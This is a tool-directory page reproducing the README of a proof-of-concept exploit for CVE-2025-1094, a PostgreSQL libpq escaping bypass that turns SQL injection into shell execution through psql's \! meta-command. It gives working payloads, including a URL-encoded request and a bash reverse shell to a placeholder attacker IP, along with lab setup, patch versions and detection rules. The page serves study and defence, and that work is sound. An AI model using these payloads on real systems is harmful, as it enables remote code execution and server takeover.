Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2025-1094 — Proof-of-concept exploit for CVE-2025-1094, a PostgreSQL psql SQL injection leading to RCE via libpq escaping bypass. Includes Docker environment, exploit script, and mitigation guidance. | Kitploit
Tools/GitHubGitHub/trandonga3/poc-cve-2025-1094
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Proof-of-concept exploit for CVE-2025-1094, a PostgreSQL psql SQL injection leading to RCE via libpq escaping bypass. Includes Docker environment, exploit script, and mitigation guidance.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

POC CVE-2025-1094: PostgreSQL psql SQL Injection

Proof of Concept for critical SQL Injection vulnerability in PostgreSQL client libpq and psql tool

📋 Table of Contents

  1. Vulnerability Overview
  2. Project Directory Structure
  3. Attack Payload Analysis
  4. Usage Guide
  5. Mitigation & Prevention

1. Vulnerability Overview

General Description

CVE-2025-1094 is a critical vulnerability in the PostgreSQL client library libpq and the command-line tool psql. This flaw allows an attacker to perform SQL Injection and escalate to Remote Code Execution (RCE) even when the application uses standard string escaping functions such as PQescapeLiteral.

Root Cause

The bug arises from inconsistent handling of invalid multibyte byte sequences (e.g., UTF-8) between the escaping library and the psql parser.

Two Main Attack Mechanisms:

1. Bypass Escaping

  • The PQescapeLiteral function is tricked by a "new byte" (e.g., 0xC0)
  • It treats this byte together with a single quote (') as a single character
  • Result: the single quote is not escaped

2. RCE via Meta-commands

  • When this malformed string is fed into the psql tool
  • The attacker can break out of the SQL statement and use psql's \! system command
  • Allows arbitrary shell command execution on the server

2. Project Directory Structure

The project is organized to simulate a real-world scenario where a C libpq function is called:

root@kitploit:~
.
├── docker-compose.yml       # Start PostgreSQL + Web App
├── exolit.py               # Exploit script - External attack
├── README.md               # This documentation
└── app/
    ├── app.py             # Flask Web App - Accepts user input
    ├── Dockerfile         # Build image containing vulnerable code
    └── init_db.sql        # Initialize database

Main Components:

  • Flask Web App: Accepts user input via /search endpoint
  • libpq C Function: Processes SQL queries but does not validate valid bytes
  • psql Meta-commands: Allows system command execution via \!
  • Subprocess Pipe: The application pushes SQL statements into psql through input stream

3. Attack Payload Analysis

Sample Payload

root@kitploit:~
hax\xc0'; \! id; #

Component Breakdown:

ComponentValueMeaning
Data inputhaxNormal data
New byte\xc0Invalid UTF-8 byte - bypass escaping
Quote'Single quote "hidden" - slips through filter
SQL terminator;End current SQL statement
Meta-command\!psql special command - escape to OS shell
Shell commandidCommand to execute (can be replaced with reverse shell)
Comment#SQL comment - neutralize remainder

Execution Flow:

root@kitploit:~
1. User input: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() does not recognize \xc0 + ' as attack
   ↓
3. String sent to psql: hax\xc0'; \! id; #
   ↓
4. psql parses: \xc0 portion considered end of string
   ↓
5. Meta-command \! is triggered
   ↓
6. Shell command id executes with container privileges

4. Usage Guide

Method 1: Using Docker Compose (Recommended)

Step 1: Start environment

root@kitploit:~
docker-compose up -d

Step 2: Wait for containers to start

root@kitploit:~
docker-compose ps

Ensure both PostgreSQL and Flask app are running.

Step 3: Execute exploit

root@kitploit:~
python exolit.py

Expected result: Will display uid=0(root) information retrieved from the server

Step 4: Stop environment

root@kitploit:~
docker-compose down

Method 2: Using Burp Suite (Manual)

Send HTTP Request

Send a POST request to /search with the following body:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

URL Encoding Reference:

  • %c0 = \xc0 (invalid UTF-8 byte)
  • %27 = ' (single quote)
  • %23 = # (hash)
  • + = space

Reverse Shell Payload:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<hacker-ip>/<hacker-port>+0>%261"+;+%23

Note: Replace <hacker-ip> and <hacker-port> with attacker's IP and port


5. Mitigation & Prevention

A. Apply Patches

Upgrade PostgreSQL to patched versions:

VersionSafe Version
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Validate Encoding

Always verify that input data is valid UTF-8 before processing:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Limit psql CLI Usage

In application programming, use official driver libraries:

root@kitploit:~
# ❌ DON'T: Use subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ DO: Use parameterized queries with psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Least Privilege Principle

  • Do not run Web App as root
  • Do not run Database as root
  • Use dedicated user with minimal privileges

E. WAF / IDS Rules

Set up rules to detect patterns:

root@kitploit:~
- Byte 0xC0, 0xC1 in request body
- Meta-command `\!` in user input
- Strings like `; \!` or `' \!`

📚 References

  1. Link to source code (before patch) You can view the file src/interfaces/libpq/fe-exec.c in version 17.2 (still vulnerable version):

    • GitHub link: PostgreSQL fe-exec.c at tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Important function: Look for the function PQescapeStringInternal (usually around line 3400+). This is the "core" function called by both PQescapeLiteral and PQescapeString.
  2. View "The Patch" - Most important for White-box To understand why they had the bug and how they fixed it, the best way is to view the Commit Diff (changes between vulnerable and patched versions).

    • Official Commit: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. Vulnerability analysis post: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

Download Tool